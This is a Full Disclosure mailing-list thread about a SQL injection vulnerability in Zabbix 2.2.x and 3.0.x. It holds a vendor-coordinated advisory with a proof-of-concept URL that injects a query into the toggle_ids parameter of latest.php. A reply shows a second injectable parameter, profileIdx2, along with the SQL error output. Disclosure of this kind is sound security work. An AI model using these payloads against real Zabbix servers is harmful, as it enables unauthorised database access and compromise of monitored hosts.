Full Disclosure mailing list archives

Re: Zabbix 2.2.x, 3.0.x SQL Injection Vulnerability


From: 1n3 () hushmail com
Date: Fri, 12 Aug 2016 20:31:16 -0700

Which version of Zabbix? 3.0.3? 

-1N3

On 8/12/2016 at 7:22 PM, "Brandon Perry" <bperry.volatile () gmail com> wrote:

I actually ended up finding this vuln in a different vector (in 
the profileIdx2 parameter).

/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2’3297&updateProfil
e=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1


<div class="flickerfreescreen" data-timestamp="1471054088083" 
id="flickerfreescreen_1"><table class="list-table" 
id="t57ae81946b8cb"><thead><tr><th class="cell-
width">Timestamp</th><th>Value</th></tr></thead><tbody><tr 
class="nothing-to-show"><td colspan="2">No data 
found.</td></tr></tbody></table></div><div class="msg-bad"><div 
class="msg-details"><ul><li>Error in query [INSERT INTO profiles 
(profileid, userid, idx, value_int, type, idx2) VALUES (39, 1, 
'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in 
your SQL syntax; check the manual that corresponds to your MySQL 
server version for the right syntax to use near ''3297)' at line 
1]</li><li>Error in query [INSERT INTO profiles (profileid, 
userid, idx, value_str, type, idx2) VALUES (40, 1, 
'web.item.graph.stime', '20160813041028', 3, 2'3297)] [You have an 
error in your SQL syntax; check the manual that corresponds to 
your MySQL server version for the right syntax to use near 
''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles 
(profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 
'web.item.graph.isnow', '1', 2, 2'3297)] [You have an error in 
your SQL syntax; check the manual that corresponds to your MySQL 
server version for the right syntax to use near ''3297)' at line 
1]</li></ul></div><span class="overlay-close-btn" 
onclick="javascript: $(this).closest('.msg-bad').remove();" 
title="Close"></span></div>


Similarly, it requires auth unless you enable Guest.


On Aug 11, 2016, at 7:23 PM, 1n3 () hushmail com wrote:

=========================================
Title: Zabbix 3.0.3 SQL Injection Vulnerability
Product: Zabbix
Vulnerable Version(s): 2.2.x, 3.0.x
Fixed Version: 3.0.4
Homepage: http://www.zabbix.com
Patch link: https://support.zabbix.com/browse/ZBX-11023
Credit: 1N3@CrowdShield
==========================================


Vendor Description:
=====================
Zabbix is an open source availability and performance monitoring 
solution.


Vulnerability Overview:
=====================
Zabbix 2.2.x, 3.0.x and trunk suffers from a remote SQL 
injection vulnerability due to a failure to sanitize input in the 
toggle_ids array in the latest.php page.


Business Impact:
=====================
By exploiting this SQL injection vulnerability, an authenticated 
attacker (or guest user) is able to gain full access to the 
database. This would allow an attacker to escalate their 
privileges to a power user, compromise the database, or execute 
commands on the underlying database operating system.

Because of the functionalities Zabbix offers, an attacker with 
admin privileges (depending on the configuration) can execute 
arbitrary OS commands on the configured Zabbix hosts and server. 
This results in a severe impact to the monitored infrastructure.

Although the attacker needs to be authenticated in general, the 
system could also be at risk if the adversary has no user account. 
Zabbix offers a guest mode which provides a low privileged default 
account for users without password. If this guest mode is enabled, 
the SQL injection vulnerability can be exploited unauthenticated.


Proof of Concept:
=====================


latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggl
e_ids[]=15385); select * from users where (1=1

Result:
SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, 
value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle', '1', 2, 
15385); select * from users where (1=1)
latest.php:746 → require_once() → CProfile::flush() → 
CProfile::insertDB() → DBexecute() in /home/sasha/zabbix-
svn/branches/2.2/frontends/php/include/profiles.inc.php:185


Disclosure Timeline:
=====================

7/18/2016 - Reported vulnerability to Zabbix
7/21/2016 - Zabbix responded with permission to file CVE and to 
disclose after a patch is made public
7/22/2016 - Zabbix released patch for vulnerability
8/3/2016 - CVE details submitted
8/11/2016 - Vulnerability details disclosed


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